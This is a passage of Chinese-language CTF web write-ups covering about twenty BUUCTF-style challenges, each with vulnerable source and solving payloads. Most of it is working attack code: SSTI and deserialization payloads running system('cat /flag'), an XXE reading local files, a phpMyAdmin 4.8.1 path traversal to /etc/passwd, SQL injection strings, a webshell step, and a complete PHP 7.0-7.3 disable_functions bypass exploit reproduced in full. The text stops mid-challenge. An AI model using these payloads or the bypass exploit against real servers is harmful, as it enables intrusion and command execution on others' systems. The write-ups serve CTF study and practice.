?gg[]=1&id[]=2
post:passwd=1234567a

[GKCTF2020]cve版签到

cve-2020-7066
get_headers()会截断URL中空字符后的内容

这是在php7.3中发现的 ,但是一直有这个漏洞

测试脚本显示这会让恶意脚本获取意外域名的header 。这些header可能泄露敏感信息或者意外地包含攻击者控制的数据。

测试脚本

1
2
3
4
5
6
7
8
9
10
<?php
// user input
$_GET['url'] = "http://localhost\0.example.com";

$host = parse_url($_GET['url'], PHP_URL_HOST);
if (substr($host, -12) !== '.example.com') {
die();
}
$headers = get_headers($_GET['url']);
var_dump($headers);

payload

1
?url=http://127.0.0.123%00www.ctfhub.com

[GXYCTF2019]禁止套娃

.git泄露

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>

其中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])

\(和\)表示转义括号
(?R)?表示引用当前表达式
```
大致意思就是可以使用函数,但是函数中不能有参数
```bash
localeconv() 函数返回一包含本地数字及货币格式信息的数组。
scandir() 列出 images 目录中的文件和目录。
readfile() 输出一个文件。
current() 返回数组中的当前单元, 默认取第一个值。
pos() current() 的别名。
next() 函数将内部指针指向数组中的下一个元素,并输出。
array_reverse()以相反的元素顺序返回数组。
highlight_file()打印输出或者返回 filename 文件中语法高亮版本的代码。

查看有哪些文件

1
?exp=print_r(scandir(current(localeconv())));

打印flag

1
?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));

解释

1
2
3
4
scandir(current(localeconv()))是查看当前目录
加上array_reverse()是将数组反转,即Array([0]=>index.php[1]=>flag.php=>[2].git[3]=>..[4]=>.)
再加上next()表示内部指针指向数组的下一个元素,并输出,即指向flag.php
highlight_file()打印输出或者返回 filename 文件中语法高亮版本的代码

[GXYCTF2019]BabyUpload

先上传 .htaccess 文件,注意抓包,要修改 TYPE 为 jpeg

[BJDCTF 2nd]old-hack

1
2
post:
_method=__construct&filter[]=system&method=get&get[]=cat /flag

[安洵杯 2019]easy_web

index.php 转化为 16 进制,并 base64 两次

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi锝� no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}

?>

限制了类型为string,且比较类型为强类型,需要硬碰撞出两个md5一样的字符串,抄一个现成的

1
2
3
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2

b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

命令执行绕过
Linux下的命令执行有很多绕过方法

  • 在命令中穿插\,不会影响命令执行,如c\at /fl\ag
  • sort命令用于将文本文件内容加以排序。sort可针对文本文件的内容,以行为单位来排序。sort%20/flag

[BJDCTF2020]Mark loves cat

git 泄露

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){
$$x = $y;
}
foreach($_GET as $x => $y){
$$x = $$y;
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
echo "the flag is: ".$flag;

可以看到有三个有输出的exit:

1
2
3
exit($handsome);
exit($yds);
exit($is);

找一个最简单的,第二个exit:

1
2
3
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}

只要不给flag传值就会退出,退出的时候会显示$yds的值,而$yds的值在代码最开始的时候初始化过:

1
$yds = "dog";

初始化和exit之间有代码:

1
2
3
4
5
6
7
8
foreach($_POST as $x => $y){
$$x = $y;
}

foreach($_GET as $x => $y){
$$x = $$y;
}
我们只要在这段代码中令$yds=$flag,将原来$yds变量的值进行覆盖,同时符合退出条件,就可以输出拿到flag

[GWCTF 2019]我有一个数据库

版本为4.81,经查询,存在远程文件读取漏洞

直接上payload读取passwd文件

1
/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

[BJDCTF2020]The mystery of ip

存在smarty注入payload。
网址:https://www.jianshu.com/p/eb8d0137a7d3

1
2
3
4
5
{if phpinfo()}{/if}
{if system('ls')}{/if}
{ readfile('/flag') }
{if show_source('/flag')}{/if}
{if system('cat ../../../flag')}{/if} #本题payload

payload如下:

1
2
3
4
5
6
7
8
9
GET /flag.php HTTP/1.1
Host: node3.buuoj.cn:29925
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
X-Forwarded-For: {if system('cat ../../../flag')}{/if}
Upgrade-Insecure-Requests: 1

[De1CTF 2019]SSRF Me

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)


class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
os.mkdir(self.sandbox)
#_init_初始化

def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):

#第一个if:如果checkSign(self) 返回 True ,则进入下一个if
#审计checkSign(self)

if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
#如果scan在action里面,则我们可以让param进入scan这个函数,并的目录下创建一个result.txt
#然后通过scan()函数把名字为param的网址里的内容写到result.txt中,由于param是可控的,所以很容易想到这里把flag.txt传给param。

if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result
#如果read在action里面,则我们可以读取读取result.txt的内容赋值给result

def checkSign(self):
if (getSign(self.action,self.param) == self.sign):
return True
else:
return False
#如果getSign(self.action, self.param)和self.sign相等则返回True ,否则返回False


#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
#提取get方法传入的,参数名叫param对应得值,并将其url编码后赋值给param
#将scan赋值给action
#审计 getSign()

@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
#以get方法传入param参数值,在cookie里面传递action和sign的值
#使param绕过waf,审计waf
#用我们传进去的 action 、 param 、sign 、ip 这四个参数构造一个Task类对象,并且执行它的Exec方法
#审计Task
@app.route('/')
def index():
return open("code.txt","r").read()


def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"



def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
#将secert_key 、param 、 action这三个值连接起来后进行md5加密,并将其作为十六进制数据字符串值返回

def md5(content):
return hashlib.md5(content).hexdigest()


def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False
#移除param头尾指定的字符(默认为空格或换行符),并将param中中所有大写字符转化为小写
#若param以gopher或file为前缀,返回True,否者返回False
#回到challenge()

if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0')

审计从路由开始,然后在慢慢延申出去

这里有三个路由:

/geneSign
/De1ta
/
从/De1ta开始看起,首先是创建了一个Task的类,action、sign的值是由cookie得到,而param的值就是直接通过GET方法传递param参数的值得到,ip就是你的ip地址,接着param参数会经过waf,如果过了waf,则执行这个类的Exec。
顺着这个思路,我们追溯到waf这个方法上,通过审计我们知道要绕过waf,param的值不能以 gopher和file开头

接下去执行Task里的Exec方法,通过审计我们发现如果checkSign(self) 为真 ,则可以传递/De1ta页面的param参数进入到scan方法,并的目录下创建一个result.txt ,然后通过scan()函数把参数param的值写到result.txt中,由于param是可控的,所以很容易想到这里把flag.txt传给param。

审计checkSign(self) 函数,发现如果getSign(cookie传入的action, get传入的param)和cookie传入的sign相等则返回True ,否则返回False

审计getSign(),我们发现不知道secert_key的值,但是路由/geneSign有一个return getSign(scan, param),这里我们另/geneSign页面的参数param的值为flag.txtread(这里为什么后面会讲到),通过getSign得到的sign值即为md5(secert_key + ‘flag.txtread’ + ‘scan’)

回到Task类的Exec方法if “read” in self.action:如果read在action里面,则我们可以读取读取result.txt的内容赋值给result,这里result.txt的值实际上是我们传入的param的值

在这里就可以解释为什么/geneSign页面我们传入的param的值要为flag.txtread了,因为结合Exec方法,我们要实现写入文件和读出的功能,就必须另//De1ta页面的action为readsacn或scanread,此时的getSign(),返回的值就是hashlib.md5(secert_key + flag.txt + readscan).hexdigest(),而此时只有另/geneSign页面的param参数为flag.txtread才能使

getSign(self.action, self.param) == getSign(flag.txt+readscan) ,

即md5(secret_key+flag.txtread+scan) == md5(secret_key+flag.txt+readscan)

所以第二步就是在/De1ta页面,get ?param=flag.txt ,cookie action=readscan ,sign=我们在/geneSign页面得到的md5值,这样就可以得到flag了

[BJDCTF2020]ZJCTF,不过如此

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}

include($file); //next.php

}
else{
highlight_file(__FILE__);
}
?>

解答
读取 next.php 文件内容

1
2
3
http://8db9374d-313e-4a56-8c16-b395e7075b1f.node3.buuoj.cn/?text=php://input&file=php://filter/read=base64-convert.encode/resource=next.php

post: I have a dream

next.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}


foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}

function getFlag(){
@eval($_GET['cmd']);
}

详情可看此文章: https://xz.aliyun.com/t/2557

preg_replace 语句如果直接写在程序里面,当然可以成功执行 phpinfo() ,然而我们的 .*是通过 GET 方式传入,传上去的.*变成了__*,由于在PHP中,对于传入的非法的 $_GET 数组参数名,会将其转换成下划线,这就导致正则匹配失效。提供一个 payload : \S*=${phpinfo()}

1
next.php?\S*=${getFlag()}&cmd=system('cat /flag');

为什么要匹配到 {${phpinfo()}} 或者 ${phpinfo()} ,才能执行 phpinfo 函数,这是一个小坑。这实际上是 PHP可变变量 的原因。在PHP中双引号包裹的字符串中可以解析变量,而单引号则不行。 ${phpinfo()} 中的 phpinfo() 会被当做变量先执行,执行后,即变成 ${1} (phpinfo()成功执行返回true)。如果这个理解了,你就能明白下面这个问题:

1
2
3
4
5
6
7
8
var_dump(phpinfo()); // 结果:布尔 true
var_dump(strtolower(phpinfo()));// 结果:字符串 '1'
var_dump(preg_replace('/(.*)/ie','1','{${phpinfo()}}'));// 结果:字符串'11'

var_dump(preg_replace('/(.*)/ie','strtolower("\\1")','{${phpinfo()}}'));// 结果:空字符串''
var_dump(preg_replace('/(.*)/ie','strtolower("{${phpinfo()}}")','{${phpinfo()}}'));// 结果:空字符串''
这里的'strtolower("{${phpinfo()}}")'执行后相当于 strtolower("{${1}}") 又相当于 strtolower("{null}") 又相当于 '' 空字符串
`

[网鼎杯 2020 朱雀组]phpweb

读取index.php源码

1
2
/index.php
post:func=readfile&p=index.php

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];

if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>

过了很多,发现有个类,没有被可过滤,可以利用反序列化

1
2
3
4
5
6
7
8
9
<?php
class Test {
var $p = "find / -name flag*";
var $func = "system";

}
$test=new Test();
echo serialize($test);
?>

寻找flag文件

1
2
index.php 
post: func=unserialize&p=O:4:"Test":2:{s:1:"p";s:16:"grep -r 'flag' /";s:4:"func";s:6:"system";}

得到flag文件

1
2
index.php 
post: func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}

[GKCTF2020]CheckIN

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<title>Check_In</title>
<?php
highlight_file(__FILE__);
class ClassName
{
public $code = null;
public $decode = null;
function __construct()
{
$this->code = @$this->x()['Ginkgo'];
$this->decode = @base64_decode( $this->code );
@Eval($this->decode);
}

public function x()
{
return $_REQUEST;
}
}
new ClassName();

构造一句话,用蚁剑连接

1
2
3
<?php
echo base64_encode('eval($_POST["ye1s"]);');
?>

猜测需要执行/readflag文件才能得到flag,接下来上传disable functions bypass脚本突破执行命令即可,bypass脚本github有很多,自己找一下即可。
如绕过脚本:https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass/exploit.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
<?php

# PHP 7.0-7.3 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=72530
#
# This exploit should work on all PHP 7.0-7.3 versions
#
# Author: https://github.com/mm0r1

#pwn("uname -a");
pwn("/readflag");
function pwn($cmd) {
global $abc, $helper;

function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}

function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}

function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}

function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}

function parse_elf($base) {
$e_type = leak($base, 0x10, 2);

$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);

if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}

if(!$data_addr || !$text_size || !$data_size)
return false;

return [$data_addr, $text_size, $data_size];
}

function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;

$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;

return $data_addr + $i * 8;
}
}

function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}

function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);

if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}

class ryat {
var $ryat;
var $chtg;

function __destruct()
{
$this->chtg = $this->ryat;
$this->ryat = 1;
}
}

class Helper {
public $a, $b, $c, $d;
}

if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}

$n_alloc = 10; # increase this value if you get segfaults

$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_repeat('A', 79);

$poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
$out = unserialize($poc);
gc_collect_cycles();

$v = [];
$v[0] = ptr2str(0, 79);
unset($v);
$abc = $out[2][0];

$helper = new Helper;
$helper->b = function ($x) { };

if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}

# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;

# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);

# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);

$closure_obj = str2ptr($abc, 0x20);

$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}

if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}

if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}

if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}

# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}

# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

($helper->b)($cmd);

exit();
}

然后在命令执行点包含shell.php即可获得flag

1
include('/tmp/shell.php');base64编码之后得到:aW5jbHVkZSgnL3RtcC9zaGVsbC5waHAnKTs=

[BJDCTF 2nd]假猪套天下第一

DS_Store泄露

1
python2 ds_store_exp.py http://node3.buuoj.cn:25749/.

看到有个L0g1n.php
访问一下

1
Sorry, this site will be available after totally 99 years!

修改头部

1
2
3
4
5
6
7
8
9
10
11
12
13
GET /L0g1n.php HTTP/1.1
Host: node3.buuoj.cn:25749
User-Agent: Commodore 64
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: gem-love.com
Client-ip:127.0.0.1
From:[email protected]
Via: y1ng.vip
Cookie: time=16087393622222222225; PHPSESSID=se1334rkn9800qh7bk8dtnpn64
Upgrade-Insecure-Requests: 1

相关头部信息
BUUCTF-WEB-WRITEUP

[NCTF2019]Fake XML cookbook

xxe漏洞 file 协议读取flag

1
2
3
4
5
6
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY penson SYSTEM "file:///flag" >
]>
<user><username>&penson;</username><password>penson</password></user>

[ASIS 2019]Unicorn shop

买第四个商品了

考点unicode编码安全问题

我们可以用别的语言来表示数字

搜uncode大于1337的字符https://www.compart.com/en/unicode/search?q=thousand
直接搜thousand,会有一大堆

1
id=4&price=%E2%86%82

[SUCTF 2019]Pythonginx

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
url = request.args.get("url")
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl).read()
else:
return "我扌 your problem? 333"

解题

1
2
3
4
5
6
7
8
9
10
# coding:utf-8 
for i in range(128,65537):
tmp=chr(i)
try:
res = tmp.encode('idna').decode('utf-8')
if("-") in res:
continue
print("U:{} A:{} ascii:{} ".format(tmp, res, i))
except:
pass

在这里插入图片描述
Nginx 重要文件目录

配置文件存放目录:/etc/nginx
主要配置文件:/etc/nginx/conf/nginx.conf
管理脚本:/usr/lib64/systemd/system/nginx.service
模块:/usr/lisb64/nginx/modules
应用程序:/usr/sbin/nginx
程序默认存放位置:/usr/share/nginx/html
日志默认存放位置:/var/log/nginx
Nginx配置文件:/usr/local/nginx/conf/nginx.conf

1
2
file://suctf.cℭ/usr/local/nginx/conf/nginx.conf
file://suctf.cℭ/usr/fffffflag

[0CTF 2016]piapiapia

反序列化字符逃匿,字符变长
注册账户
登录账户
随意提交一些资料抓包
修改nickname为nickname[],数组绕过strlen()长度检测
修改nickname中的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php

function getSerialize(){
$profile['phone'] = '111111111111';
$profile['email'] = "[email protected]";
$profile['nickname'] = array("sdddd" );
$profile['photo'] = 'config.php';
return serialize($profile);

}
function getPayload(){
$s='";}s:5:"photo";s:10:"config.php";}';
$len=strlen($s);
$result="";
$padding="where";
for($i=0;$i<$len;$i++){
$result.=$padding;
}
$result.=$s;
return $result;
}
print(getSerialize());
print("\n");
print(getPayload());
#a:4:{s:5:"phone";s:12:"111111111111";s:5:"email";s:12:"[email protected]";s:8:"nickname";a:1:{i:0;s:5:"sdddd";}s:5:"photo";s:10:"config.php";}

#wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
?>

BUUCTF-WEB-WRITEUP

[BJDCTF2020]Cookie is so stable

在user处尝试注入

1
2
3
4
5
6
7
{{7*'7'}} 回显7777777 ==> Jinja2
{{7*'7'}} 回显49 ==> Twig
```
这里为Twig
获取flag
```bash
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

[WesternCTF2018]shrine

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import flask
import os app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@ app.route('/')
def index():
return open(__file__).read()
@ app.route('/shrine/')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
if __name__ =='__main__':
app.run(debug = True)

这里过滤了括号,所以__subclasses__ 就无法使用,其中黑名单处理会将config和self替换为None,不过可以使用其他全局变量,再来引用config,如url_for()和get_flashed_messages()

1
2
{{url_for.__globals__['current_app'].config}}
{{get_flashed_messages.__globals__['current_app'].config}}

[SWPU2019]Web1

报错了
一通fuzz,or等被过滤,即无法使用information_schema库,可以使用无列名注入
构造

1
-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

手动探测列数,这里探测到有22列,回显位为2和3
查表名时由于过滤or,所以information_schema无法使用。
但Mysql5.6及以上版本中mysql的 innodb_index_stats 和innodb_table_stats这两个表中都包含所有新创建的数据库和表名

1
-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

无列名注入

1
-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select * from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

[2019]easy_serialize_php

反序列化字符逃匿,字符减少
由 phpinfo 的 auto_append_file 中得知 flag 的位置 /d0g3_fllllllag

1
2
/index.php?f=show_image
post: _SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:8:"function";s:4:"test";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

[BSidesCF 2020]Had a bad day

读取index.php

1
/index.php?category=php://filter/read=convert.base64-encode/resource=index

index

1
2
3
4
5
6
7
8
9
10
11
12

$file = $_GET['category'];

if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}

得去flag.php

1
/index.php?category=php://filter/read=convert.base64-encode/resource=meowers/../flag

[BJDCTF 2nd]简单注入

hint.txt

1
2
3
4
5
6
Only u input the correct password then u can get the flag
